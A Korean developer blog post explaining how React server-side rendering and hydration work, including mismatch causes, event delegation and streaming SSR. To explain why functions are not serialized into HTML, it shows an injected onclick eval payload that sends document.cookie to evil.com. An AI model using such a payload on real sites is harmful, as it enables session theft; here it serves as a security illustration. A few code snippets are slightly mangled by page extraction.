Hydration은 어떻게 진행될까?

keemsebeen·2025년 12월 7일

SSR → Hydration은 정확히 어떻게 진행될까?

Hydration의 정의

하이드레이션은 서버에서 만들어진 정적 HTML에 클라이언트 리액트 런타임이 올라타서, 기존 DOM을 가능한 한 재사용하며 이벤트/상태/effect를 연결해 살아있는 애플리케이션으로 만드는 과정이다. 핵심은 서버에서 렌더링한 html과 클라이언트 html의 일치다.

1단계 - 서버에서 HTML 생성

서버는 renderToString() 혹은 renderToPipeableStream()을 사용하여 리액트 컴포넌트 트리를 HTML 문자열로 변환한다. 이때 생성되는 것은 순수한 HTML 마크업이다. 이벤트 리스너, 상태 관리, 인터랙티브한 기능은 모두 제외된다.

const html = renderToString(<App />);

만들어지는 과정은 다음과 같습니다.

  1. JSX → 리액트 Element 객체

    1. renderToString()은 사실상 React Element 객체를 입력으로 받는다.
    function App() {
      return <button onClick={() => alert('hi')}>Hello</button>;
    }
    
    // 1. JSX → 리액트 Element 객체로 변환
    const element = React.createElement(
      'button',
      { onClick: () => alert('hi') },
      'Hello'
    );
    
    // Fiber 노드로 변경
    [{
      type: 'button',
      props: {
        onClick: [Function],
        children: 'Hello'
      }
    }]
  2. React Element → Fiber 트리

    1. Element 트리를 순회하면서 각 노드(Fiber)를 생성한다.
    2. 자식(children), 형제(sibling), 부모(return) 포인터를 갖는 Fiber 구조를 만
    3. 이 Fiber 트리는 렌더 결과를 문자열로 직렬화하는 근간이 된다.
  3. Fiber 트리 → Host Config 기반 HTML 직렬화

    1. 이제 리액트는 Fiber를 순회하면서 실제 HTML 문자열을 생성합니다.
    2. Host Config가 하는 역할은 다음과 같습니다.
      • className → class
      • 함수형 prop(예: onClick) → 직렬화 제외 (HTML엔 함수 없음)
      • boolean prop은 존재 여부로 표현 (예: <input disabled>). 단, DOM 속성별 예외 처리 존재
      • 위험한 문자열은 escape (< → <, & → & …)
      • style={{ color:'red' }} → style="color:red"로 inline CSS 문자열 변환

2단계 - 클라이언트 번들 로드

브라우저는 HTML을 받아 파싱하고, HTML 내부에 포함된

3단계 - 하이드레이션 시작

클라이언트 코드가 로드된 후 hydrateRoot()가 호출되면 리액트는 서버가 만들어 놓은 정적 DOM을 기반으로 앱을 복원하기 시작합니다.

import { hydrateRoot } from 'react-dom/client';

hydrateRoot(document.getElementById('root'), <App />);

3-1) Fiber 트리 구성 & DOM 매칭

  • 클라이언트에서 을 다시 렌더하여 Fiber 트리를 만들되, 새 DOM을 만들지 않고 기존 서버 DOM을 재사용합니다.
  • 리액트는 서버 DOM과 클라이언트 출력이 태그/속성/텍스트 단위로 동일하다고 가정하고 순차적으로 매칭합니다.
  • 불일치(mismatch)가 발견되면 해당 서브트리만 교체해 렌더하거나, 스트리밍 경계/클라이언트 경계 단위로 선택적 하이드레이션을 조정합니다. 이 과정으로 전체 깜빡임 최소화합니다.

서브 트리만 교체해 렌더한다는 말이 무엇일까?

일치하지 않는 부분만 새로 생성한 DOM으로 교체하고 나머지 일치하는 부분은 그대로 재사용한다는 것을 의미합니다.

3-2) 이벤트 시스템 연결 & Event Replay

  • 각 요소에 개별로 리스너를 붙이지 않고, 루트 컨테이너에 통합 이벤트 리스너를 등록해 이벤트를 위임 방식으로 처리합니다. (Fiber 구조로 핸들러 추적하므로 자동 처리)
    • *클릭 이벤트가 10개, 100개면? 브라우저가 event.target으로 “어디서 이벤트가 발생했는지” 알려준다고 한다. 그리고 리액트는 그걸 기반으로 파이버 트리와 DOM 노드 사이의 매핑을 통해 어떤 컴포넌트인지 역추적을 진행한다.*

      root.addEventListener('click', reactEventHandler);
      root.addEventListener('change', reactEventHandler);
      root.addEventListener('keydown', reactEventHandler);
      // 등등 공통 이벤트
  • 하이드레이션 완료 전 발생한 사용자 이벤트(클릭, 입력 등)는 Event Replay 큐에 저장되어 있다가, 해당 노드가 하이드레이트된 직후 다시 재생됩니다. → 초기 로딩 중 인터랙션 유실이 없습니다.

3-3) 이펙트 실행 시점

  • useEffect는 하이드레이션 커밋 이후(브라우저) 실행됩니다. 서버에서는 실행되지 않습니다.
  • useLayoutEffect는 클라이언트 커밋 직후 동기로 실행되며, SSR 환경에서는 경고가 나거나 noop 처리됩니다(서버에 레이아웃 개념이 없기 때문).

hydration mismatch 문제는 왜 발생할까?

하이드레이션 불일치란?

SSR로 만들어진 HTML과 클라이언트에서 렌더링된 리액트 트리가 일치하지 않을 때 발생하는 오류입니다. hydrateRoot() 는 HTML이 서버와 동일할 것이라고 가정하고 파이버 트리를 매칭하는데, 이게 다르면 경고를 띄우고 불일치한 노드를 교체 렌더합니다.

1. 잘못된 HTML 중첩

// 잘못된 사용
<p><p>안녕</p></p>

// 브라우저 조정
<p>안녕</p><p></p>

p태그는 자식 노드를 가질 수 없습니다. 따라서 이런 경우 브라우저가 HTML 파서를 통해 자동으로 구조를 보정하는데요. 따라서 서버에서 직렬화된 DOM과 브라우저의 실제 DOM 파싱 결과가 달라집니다.

리액트는 파이버 트리 매칭 과정에서 서버와 클라이언트 구조가 다름을 감지하고 하이드레이션 오류를 띄우게 됩니다.

2. 브라우저 전용 API 사용

export default function Component() {
  const value = window.innerWidth; // 서버에서는 window가 없음
  return <div>{value}</div>;
}

서버는 window 객체가 없어 렌더링 시 오류 or 빈값을 반환합니다. 클라이언트는 값이 들어간 상태로 렌더링을 진행해 최종적으로 HTML이 서로 달라지면서 하이드레이션 미스매치가 발생합니다.

  • useEffect를 사용하여 클라이언트에서만 실행되게 하기
  • typeof window !== 'undefined' 체크로 SSR 시점 로직 분리

3. 시간/랜덤 값 등 비결정적 렌더링

export default function App() {
  return <div>{Date.now()}</div>;  // 매번 다른 값!
}

서버에서 렌더링된 시간과 클라이언트에서 렌더링된 시간이 다르기 때문에 리액트가 불일치로 인식합니다.

  • 시간 값은 SSR에서 고정된 형태로 내려주거나
  • suppressHydrationWarning으로 경고만 무시 (단, 내용은 패치되지 않음)

4. 브라우저/확장 프로그램이 DOM을 수정한 경우

특히 iOS나 일부 브라우저는 HTML을 자체적으로 보정합니다.

  • 전화번호 → 자동으로 <a href="tel:...">로 변환
  • 이메일 주소 → mailto 링크로 변환

서버에서 내려온 HTML과 다르기 때문에 미스매치가 발생합니다.

메타 태그에 다음과 같은 속성을 넣어 해결할 수 있습니다.

<meta
  name="format-detection"
  content="telephone=no, date=no, email=no, address=no"
/>
속성의미
telephone=no전화번호를 감지해 자동으로 tel: 링크로 변환하는 걸 끔
date=no날짜 형식을 감지해 캘린더 링크 등으로 바꾸는 걸 끔
email=no이메일 주소를 mailto 링크로 변환하는 걸 끔
address=no주소를 감지해 지도 링크로 바꾸는 걸 끔

useState 초기값은 하이드레이션에서 어떻게 유지될까?

다음과 같은 코드가 있다고 가정해보겠습니다. 어떻게 useState로 초기화한 값이 하이드레이션 과정에서 유지될 수 있을까요?

function Counter() {
  const [count, setCount] = useState(0);
  return <div>{count}</div>;
}

서버에서 이 컴포넌트를 렌더링할 때는 다음과 같은 과정을 거칩니다.

  1. 훅은 서버 전용 구현으로 동작합니다.

    useState(0)은 [0, noop]을 반환합니다. setState는 서버에서 동작하지 않는 noop(no-operation)입니다.

    따라서 서버 렌더 중에는 상태 변화를 일으킬 수 없고, 일으켜도 반영되지 않습니다.

  2. 초기값으로 렌더링됩니다.

    위 컴포넌트는 항상 <div>0</div>로 직렬화됩니다.

    직렬화는 메모리 상의 자바스크립트 객체를 문자열로 변환하는 과정입니다. 이는 자바스크립트 객체를 바로 HTML로 삽입이 불가하기 때문에 JSON 문자열로 변환이 필요합니다.

  3. HTML은 표현일 뿐 상태 저장소가 아닙니다.

    결과 HTML에는 0이 보이지만, 이 값은 클라이언트 상태를 채우기 위해 읽히지 않습니다. HTML에 담겨 있으니 그걸 다시 읽어 상태로 복원한다는 일은 일어나지 않습니다

반대로, 클라이언트에서는 다음과 같은 과정을 거칩니다.

  1. 컴포넌트 재실행 & 훅 초기화를 진행합니다.

    번들이 로드되면 hydrateRoot가 기존 DOM을 재사용하면서 <Counter />를 처음 마운트하듯 실행합니다. 이때 useState(0)은 클라이언트 훅 구현으로 초기화되어 [0, setCount]를 만듭니다.

  2. DOM 매칭 성공

    서버에서 렌더링된 <div>0</div>와 클라이언트에서 렌더링된 Virtual DOM <div>0</div>가 일치하므로, hydration이 성공합니다.

왜 SSR HTML에 이벤트 핸들러가 없도록 설계되었나?

역사적 맥락

SSR은 리액트보다 훨씬 오래전부터 존재했다. 따라서 웹의 초기 설계 철학에 대해 이해해야 한다.

함수는(또는 클로저는) 안전하게 직렬화될 수 없다.

function handleClick() {
  console.log('clicked');
}

const html = `<buttontoken interpolation">${handleClick}">Click</button>`;
// <button>

다음과 같은 함수가 존재할때, 함수는 HTML 문자열로 어떻게 변환할까? 만약 억지로 문자열로 변환했을 때, 작동할까?

정답은 그렇지 않다. 함수는 실행 컨텍스트(스코프, 클로저)에 의존적이다. 따라서 함수를 문자열로 innerHTML이나 onclick에 넣을 수는 있지만, 함수가 실행 컨텍스트(클로저, 렉시컬 스코프, 외부 변수 참조 등)에 의존할 경우 그 상태는 문자열에 담아 보낼 수 없다. 즉, 단순한 함수 텍스트는 가능하더라도 클로저·상태·환경은 복구되지 않는다는 근본적 한계가 있다.

함수를 문자열로 전송하면, 보안 문제가 발생한다.

만약 함수를 문자열로 전송한다면 수많은 보안 문제가 발생하게 된다.

<!-- 서버에서 생성된 위험한 HTML -->
<button onclick="eval('console.log(1)')">
  Click
</button>

<!-- 공격자가 주입할 수 있는 코드 -->
<button onclick="eval('
  fetch(\"https://evil.com?cookie=\" + document.cookie)
')">
  Click
</button>

악의적인 코드 주입이 가능해지고, 임의의 자바스크립트를 실행이 가능하다. 과거에는 이런보안 문제가 너무 많아서 Same-Origin Policy, CSP(Content Security Policy) 같은 보안 정책 발전이 발생했다고한다.

관심사 분리

HTML은 문서 구조와 콘텐츠를 표현하고, JavaScript는 동작을 담당하는 것이 웹의 기본 원칙이다.

renderToPipeableStream 등장 이후 Selective/Priority Hydration이 가능해졌다

기존의 renderToString() 방식은 모든 컴포넌트를 메모리에서 한 번에 렌더링한 뒤, 그 결과를 문자열로 만들어 모두 완료된 후에야 전송하는 동기 방식을 사용했습니다.

이 방식의 문제는 이 커질수록 렌더링에 걸리는 시간이 늘어나 SSR의 핵심 장점인 ‘빠른 첫 번째 페인트(First Paint)’를 잃게 된다는 점이었습니다. 이 한계를 해결하기 위해 React 18에서는 Node.js의 스트림(Streaming) API를 활용한 renderToPipeableStream을 도입했습니다.

이제 React는 HTML을 청크 단위로 점진적으로 생성해 전송할 수 있게 되었습니다.

예를 들어, <head>, <header>, <footer>처럼 즉시 렌더 가능한 부분은 먼저 전송하고, <Suspense>로 감싼 비동기 데이터가 준비되면 그때 해당 부분만 추가 전송하는 방식입니다.

이것이 바로 Streaming SSR입니다. Streaming SSR의 등장으로 클라이언트는 모든 HTML이 도착할 때까지 기다리지 않고, 도착한 부분부터 선택적으로 하이드레이션(Selective Hydration) 을 수행할 수 있게 되었습니다. 또한 사용자 상호작용이 발생한 영역은 우선순위를 높여 먼저 하이드레이션을(Priority Hydration) 할 수도 있습니다.

결과적으로 React는 이제 페이지 전체를 기다리지 않고도 점진적으로 그려지고 상호작용 가능한 훨씬 유연한 SSR + Hydration 구조를 제공하게 되었습니다.


참고자료
https://legacy.reactjs.org/blog/2020/08/10/react-v17-rc.html#changes-to-event-delegation

https://legacy.reactjs.org/docs/react-dom-server.html#gatsby-focus-wrapper

https://nextjs.org/docs/messages/react-hydration-error

https://github.com/reactwg/react-18/discussions/37

profile
프론트엔드 공부 중인 김세빈입니다. 👩🏻‍💻

0개의 댓글